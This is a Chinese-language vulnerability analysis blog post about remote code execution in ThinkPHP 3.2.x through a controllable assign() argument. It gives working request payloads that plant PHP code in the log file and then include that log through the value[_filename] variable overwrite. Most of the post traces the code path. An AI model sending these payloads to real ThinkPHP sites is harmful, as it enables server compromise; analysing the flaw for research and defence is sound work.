ThinkPHP3.2.x RCE漏洞分析

环境搭建

修改控制器

/Application/Home/Controller/IndexController.class.php

1
2
3
4
public function index($value=''){
$this->assign($value);
$this->display();
}

新建文件,内容随意

/Application/Home/View/Index/index.html

WksqJS.png

漏洞复现

利用条件:assign方法的第一个变量可控。

向日志文件写入攻击代码

1
index.php?m=--><?=phpinfo();?>

WksWxH.png

包含日志文件,日志文件的命名规则为年_月_日.log

1
index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_07_12.log

WksRRe.png

漏洞分析

先进入assign方法

WksgPO.png

把assign方法的第一个参数赋值给$this->tVar

Wks6IK.png

ThinkPHP/Library/Think/View.class.php

assign方法结束后进入display

Wks2GD.png

ThinkPHP/Library/Think/View.class.php#fetch

进入fetch方法,因为模板文件名为空,所以先调用parseTemplate获取默认模板文件(./Application/Home/View/Index/index.html),也就是之前新建的文件。

Wks5qI.png

然后构造了params数组,包含了传入的value数组和默认模板文件名

WksoZt.png

/ThinkPHP/Library/Think/Hook.class.php

进入exec

WksTdP.png

/ThinkPHP/Library/Think/Hook.class.php

实际调用Behavior\ParseTemplateBehavior->run,把params数组作为参数

Wks7If.png

/ThinkPHP/Library/Behavior/ParseTemplateBehavior.class.php

调用fetch

WksLRg.png

/ThinkPHP/Library/Think/Template.class.php

获取缓存文件路径,然后进入load方法

Wksbi8.png

/ThinkPHP/Library/Think/Storage/Driver/File.class.php

调用extract,将$vars数组作为参数进行变量覆盖。把$_filename覆盖为日志文件名,然后包含日志文件

Wks4sA.png

再回来看看payload,实际上只是传入了一个包含日志文件名的value数组,只需要关注它的流向就可以了

1
index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_07_12.log

传入的value数组的流向:

  1. 在assign()方法中,传入的value数组被赋值给$this->tVar

    Wky9oV.png

  2. ThinkPHP/Library/Think/View.class.php#fetch中被赋值给params数组,然后作为第二个参数传给listen

    WksOzQ.png

  3. /ThinkPHP/Library/Think/Hook.class.php#listen中作为第三个参数传给exec

    WksjMj.png

  4. /ThinkPHP/Library/Think/Hook.class.php#exec中调用Behavior\ParseTemplateBehavior->run,把params数组作为参数

    WksxLn.png

  5. /ThinkPHP/Library/Behavior/ParseTemplateBehavior.class.php#run中,params[‘value’]也就是value数组被作为第二个参数传入fetch

    WkySZq.png

  6. /ThinkPHP/Library/Think/Template.class.php#fetch中又继续作为第二个参数传入load

    Wkypd0.png

  7. /ThinkPHP/Library/Think/Storage/Driver/File.class.php#load中进行变量覆盖,最终包含传入value数组中的_filename,执行了向日志文件中写入的代码,实现RCE

    Wksvss.png

总结

在代码审计知识星球看到了这个新出的漏洞,分析后感觉更适合作为权限维持的后门,实际业务代码中应该很少有这种情况

参考链接

https://mp.weixin.qq.com/s?__biz=MzkzNjI2MzgzOA==&mid=2247483682&idx=1&sn=e7cb243b2c320610356d100ca05bdc70&chksm=c2a028d3f5d7a1c5ea3a4f636896a2eca12479418bbf409309af7378dbf956b0bc0545a226d4&mpshare=1&scene=23&srcid=07121TA77hb0MtSPJ6UdbS0q&sharer_sharetime=1626084466936&sharer_shareid=f045ea83ab618e2dffd974c4e052cd1b#rd


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!